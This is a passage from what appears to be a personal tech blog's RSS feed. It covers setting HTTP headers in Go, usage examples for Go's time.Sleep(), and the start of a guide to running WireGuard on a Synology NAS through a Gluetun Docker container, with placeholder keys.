</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">.</span><span class="nx">Header</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="s">&#34;Sec-GPC&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;1&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">req</span><span class="p">.</span><span class="nx">Header</span><span class="p">.</span><span class="nf">Set</span><span class="p">(</span><span class="s">&#34;Connection&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;keep-alive&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="c1">// use the client to actually send the request</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">resp</span><span class="p">,</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">client</span><span class="p">.</span><span class="nf">Do</span><span class="p">(</span><span class="nx">req</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">if</span><span class="w"> </span><span class="nx">err</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="kc">nil</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">		</span><span class="nx">log</span><span class="p">.</span><span class="nf">Fatal</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="k">defer</span><span class="w"> </span><span class="nx">resp</span><span class="p">.</span><span class="nx">Body</span><span class="p">.</span><span class="nf">Close</span><span class="p">()</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p><p><code>req.Header.Set()</code> can be used to set a header but will <em><strong>overwrite</strong></em> any existing value for that header.</p>
<p><code>req.Header.Add()</code> can be used to add a value to a header and will <strong>append</strong> to any existing value for that header.</p>
<p>For the purposes of this blog post we only need to worry about setting the header once, hence the usage of <code>req.Header.Set()</code>.</p>
</blockquote>

<p>Similar to my 

<a href="https://nelson.cloud/using-time.sleep-in-go/">&ldquo;Using time.Sleep() in Go&rdquo;</a> post, I wrote this up because the Go docs are too dense and I just needed one full example to understand it and get going.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://pkg.go.dev/net/http" target="_blank" rel="noopener">https://pkg.go.dev/net/http</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Using time.Sleep() in Go</title>
      <link>https://nelson.cloud/using-time.sleep-in-go/?ref=rss</link>
      <pubDate>Thu, 29 Jan 2026 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/using-time.sleep-in-go/?ref=rss</guid>
      <description>Examples of using time.Sleep() in Go because the official documentation is lacking.</description><content:encoded><![CDATA[<h2 id="basic-usage-of-timesleep">Basic Usage of <code>time.Sleep()</code></h2>
<p>You can use <code>time.Sleep()</code> to pause your program for a predetermined amount of time, similar to most programming languages.</p>
<p>First, you should know that the <code>time</code> package has useful constants that allow you to conveniently specify time in units.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">const</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Nanosecond</span><span class="w">  </span><span class="nx">Duration</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="mi">1</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Microsecond</span><span class="w">          </span><span class="p">=</span><span class="w"> </span><span class="mi">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Nanosecond</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Millisecond</span><span class="w">          </span><span class="p">=</span><span class="w"> </span><span class="mi">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Microsecond</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Second</span><span class="w">               </span><span class="p">=</span><span class="w"> </span><span class="mi">1000</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Millisecond</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Minute</span><span class="w">               </span><span class="p">=</span><span class="w"> </span><span class="mi">60</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Second</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">Hour</span><span class="w">                 </span><span class="p">=</span><span class="w"> </span><span class="mi">60</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="nx">Minute</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>They&rsquo;re accessed with the <code>time.&lt;Constant&gt;</code> notation. (e.g. <code>time.Second</code>)</p>
<p>You can use these constants with the <code>time.Sleep()</code> function. For example, if we want to pause execution for 1 second, we can write the following code:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;one second will pass between this message...&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Second</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;...and this message&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>We can do some multiplication with <code>time.Second</code> to pause a program for 30 seconds:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;fmt&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;30 seconds will pass between this message...&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Second</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">30</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">fmt</span><span class="p">.</span><span class="nf">Println</span><span class="p">(</span><span class="s">&#34;...and this message&#34;</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>You can do multiplication with all of the other constants mentioned as well.</p>
<h2 id="examples">Examples</h2>
<p>Here are some more examples using the other constants.</p>
<h3 id="sleep-for-500-milliseconds">Sleep for 500 milliseconds</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Millisecond</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">500</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h3 id="sleep-for-10-seconds">Sleep for 10 seconds</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Second</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">10</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h3 id="sleep-for-5-minutes">Sleep for 5 minutes</h3>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Minute</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">5</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><h3 id="sleep-for-2-hours">Sleep for 2 hours</h3>
<p>Not really sure why you would use this, but just know it&rsquo;s possible.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kn">package</span><span class="w"> </span><span class="nx">main</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kn">import</span><span class="w"> </span><span class="p">(</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="s">&#34;time&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">	</span><span class="nx">time</span><span class="p">.</span><span class="nf">Sleep</span><span class="p">(</span><span class="nx">time</span><span class="p">.</span><span class="nx">Hour</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">2</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><p>My main motivation for writing this is that I think the official documentation is way too dense and doesn&rsquo;t show several examples of <code>time.Sleep()</code>. I just needed some examples to understand the syntax and move on with my day.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://pkg.go.dev/time" target="_blank" rel="noopener">https://pkg.go.dev/time</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Setting up WireGuard on Synology DSM 7 using Docker and Gluetun</title>
      <link>https://nelson.cloud/setting-up-wireguard-on-synology-dsm-7-using-docker-and-gluetun/?ref=rss</link>
      <pubDate>Wed, 31 Dec 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/setting-up-wireguard-on-synology-dsm-7-using-docker-and-gluetun/?ref=rss</guid>
      <description>A guide to connect a Synology NAS to a WireGuard VPN server, with qBittorrent as an example.</description><content:encoded><![CDATA[<p>At the time of writing Synology DiskStation Manager (DSM) 

<a href="https://www.synology.com/en-us/releaseNote/DSM#ver_72806-5" target="_blank" rel="noopener">v7.2.2-72806</a> is running on Linux v4.4.4 which doesn&rsquo;t support WireGuard.<br>
It 

<a href="https://community.synology.com/enu/forum/1/post/158013" target="_blank" rel="noopener">doesn&rsquo;t look like Synology is interested in adding WireGuard support</a> the way OpenVPN is supported. So if you want certain services on your Synology NAS to connect through WireGuard, you&rsquo;ll need a workaround.</p>
<p>One workaround is to establish a WireGuard connection using 

<a href="https://github.com/qdm12/gluetun" target="_blank" rel="noopener">Gluetun</a> in Docker. Then have containerized services do their networking through this Gluetun container. The caveat is that whatever services you want to go through a WireGuard tunnel will need to be containerized.</p>
<h2 id="prerequisites">Prerequisites</h2>
<p>This guide is intended for those comfortable with the 

<a href="https://en.wikipedia.org/wiki/Command-line_interface" target="_blank" rel="noopener">command line</a>, 

<a href="https://www.cloudflare.com/learning/access-management/what-is-ssh/" target="_blank" rel="noopener">SSH</a>, and 

<a href="https://www.docker.com/" target="_blank" rel="noopener">Docker</a>.</p>
<p>You&rsquo;ll need 

<a href="https://www.synology.com/en-us/dsm/feature/docker" target="_blank" rel="noopener">Container Manager</a> installed, which is basically just Synology&rsquo;s wrapper around Docker. Install it via the Web UI, then you&rsquo;ll be able to use <code>docker</code> commands via SSH. Installing Container Manager is straightforward. Log into the Synology DSM Web UI -&gt; open Package Center -&gt; search for &ldquo;Container Manager&rdquo; -&gt; click &ldquo;Install&rdquo;.</p>
<p>You&rsquo;ll also need a WireGuard configuration file. For this guide I&rsquo;ll be using a configuration file from 

<a href="https://mullvad.net/" target="_blank" rel="noopener">Mullvad VPN</a>.</p>
<h2 id="why-gluetun">Why Gluetun?</h2>
<p>A bit of background as to why I&rsquo;m using Gluetun. There&rsquo;s a 

<a href="https://hub.docker.com/r/linuxserver/wireguard" target="_blank" rel="noopener">linuxserver/wireguard</a> docker image we can use, but that image expects the underlying kernel to have WireGuard support. Since Synology DSM runs on 4.4.4 at this time that means it doesn&rsquo;t support WireGuard, which means the linuxserver/wireguard image won&rsquo;t work. I tried to get it working myself but kept running into errors.</p>
<p>Unlike linuxserver/wireguard, Gluetun works on any kernel by using something called userspace WireGuard implementation. Basically it runs at the user level rather than at the kernel level. This is beyond my knowledge though, so I encourage you to do some of your own research if you want to learn more.</p>
<h2 id="creating-gluetun-directories">Creating Gluetun Directories</h2>
<p>First, let&rsquo;s create a directory where the Gluetun container will store a configuration file once it&rsquo;s running.</p>
<p>SSH into your Synology device with an admin user:</p>
<pre tabindex="0"><code>ssh &lt;admin-user&gt;@&lt;synology-ip-address&gt;
</code></pre><p>Once you&rsquo;re in, get root access to make this process easier:</p>
<pre tabindex="0"><code>sudo -i
</code></pre><p>If you can run <code>whoami</code> and get <code>root</code> as the output then you&rsquo;re good to go.</p>
<pre tabindex="0"><code>$ whoami
root
</code></pre><p>Now we can create the directory that Gluetun will need. In my case, I only have one volume and it&rsquo;s called <code>volume1</code>, so your path may be a little different:</p>
<pre tabindex="0"><code>mkdir -p /volume1/docker/gluetun
</code></pre><p>That should be it! Stay as <code>root</code> going forward to keep things simple.</p>
<h2 id="creating-a-docker-composeyml-file">Creating a docker-compose.yml File</h2>
<p>Next we can create a <code>docker-compose.yml</code> file where we&rsquo;ll tell Docker to run a Gluetun container. This file can also be easily extended with additional containers that should connect to Gluetun to have WireGuard access. More on that later though.</p>
<p>First, make sure Docker is actually installed as it&rsquo;s a prerequisite I mentioned at the beginning of this post:</p>
<pre tabindex="0"><code>$ docker --version
Docker version 24.0.2, build 610b8d0
</code></pre><p>Then create a <code>docker-compose.yml</code> file. I chose to create it in <code>/volume1/docker/</code> because it seemed logical but you can place this just about anywhere you&rsquo;d like.</p>
<pre tabindex="0"><code>touch /volume1/docker/docker-compose.yml
</code></pre><p>Now we can fill in <code>docker-compose.yml</code>. Here&rsquo;s the starting point you&rsquo;ll need for Gluetun:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">gluetun</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">qmcgaw/gluetun:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">gluetun</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">cap_add</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">NET_ADMIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">TZ=America/Los_Angeles</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_SERVICE_PROVIDER=mullvad</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_TYPE=wireguard</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_PRIVATE_KEY=&lt;tbd&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_ADDRESSES=&lt;tbd&gt;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">SERVER_CITIES=Los Angeles CA</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/volume1/docker/gluetun:/gluetun</span><span class="w"> </span><span class="c"># edit if your directory is something other than `volume1`</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</blockquote><blockquote><p><strong>Note:</strong></p>Note that if it&rsquo;s easier you can create <code>docker-compose.yml</code> locally on your device and then drag it over to a directory of your choosing through the Web UI.</blockquote>

<p>We&rsquo;ll need to fill in <code>WIREGUARD_PRIVATE_KEY</code> and <code>WIREGUARD_ADDRESSES</code> in <code>docker-compose.yml</code>. These can be retrieved from a WireGuard configuration file.</p>
<p>It depends on your provider but for Mullvad VPN you go to 

<a href="https://mullvad.net/en/account/wireguard-config" target="_blank" rel="noopener">https://mullvad.net/en/account/wireguard-config</a> and download the <strong>Linux</strong> version of the WireGuard configuration file. The file itself should look something like this regardless of your VPN provider:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="k">[Interface]</span>
</span></span><span class="line"><span class="cl"><span class="na">PrivateKey</span> <span class="o">=</span> <span class="s">dGhpcyBoYXMgYmVlbiByZWRhY3RlZA==</span>
</span></span><span class="line"><span class="cl"><span class="na">Address</span> <span class="o">=</span> <span class="s">10.67.205.85/32,fc00:bbbb:bbbb:bb01::4:cd54/128</span>
</span></span><span class="line"><span class="cl"><span class="na">DNS</span> <span class="o">=</span> <span class="s">10.64.0.1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">[Peer]</span>
</span></span><span class="line"><span class="cl"><span class="na">PublicKey</span> <span class="o">=</span> <span class="s">YWxzbyByZWRhY3RlZCB0aGlz</span>
</span></span><span class="line"><span class="cl"><span class="na">AllowedIPs</span> <span class="o">=</span> <span class="s">0.0.0.0/0,::0/0</span>
</span></span><span class="line"><span class="cl"><span class="na">Endpoint</span> <span class="o">=</span> <span class="s">138.199.43.91:51820</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Copy the <code>PrivateKey</code> field and paste it as the value for <code>WIREGUARD_PRIVATE_KEY</code> in <code>docker-compose.yml</code>. Then copy <code>Address</code> and paste it as the value for <code>WIREGUARD_ADDRESSES</code>.</p>
<blockquote><p><strong>Note:</strong></p><p>At the time of writing Gluetun only supports IPv4 addresses. So if your <code>Address</code> value contains an IPv6 range it will not work and you&rsquo;ll get an error like <code>cannot add address to wireguard interface: permission denied: when adding address</code>.</p>
<p>The value should look like this: <code>10.67.205.85/32</code></p>
<p>The value should <strong>NOT</strong> look like this: <code>10.67.205.85/32,fc00:bbbb:bbbb:bb01::4:cd54/128</code></p>
</blockquote>

<p>Here&rsquo;s what the updated <code>docker-compose.yml</code> file will look like in this case:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="hl"><span class="lnt">11
</span></span><span class="hl"><span class="lnt">12
</span></span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">gluetun</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">qmcgaw/gluetun:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">gluetun</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">cap_add</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">NET_ADMIN</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">environment</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">TZ=America/Los_Angeles</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_SERVICE_PROVIDER=mullvad</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">VPN_TYPE=wireguard</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_PRIVATE_KEY=dGhpcyBoYXMgYmVlbiByZWRhY3RlZA==</span><span class="w">
</span></span></span><span class="line hl"><span class="cl"><span class="w">      </span>- <span class="l">WIREGUARD_ADDRESSES=10.67.205.85/32</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">SERVER_CITIES=Los Angeles CA</span><span class="w"> </span><span class="c"># change as needed</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/volume1/docker/gluetun:/gluetun</span><span class="w"> </span><span class="c"># edit if your directory is something other than `volume1`</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">unless-stopped</span></span></span></code></pre></td></tr></table>
</blockquote>
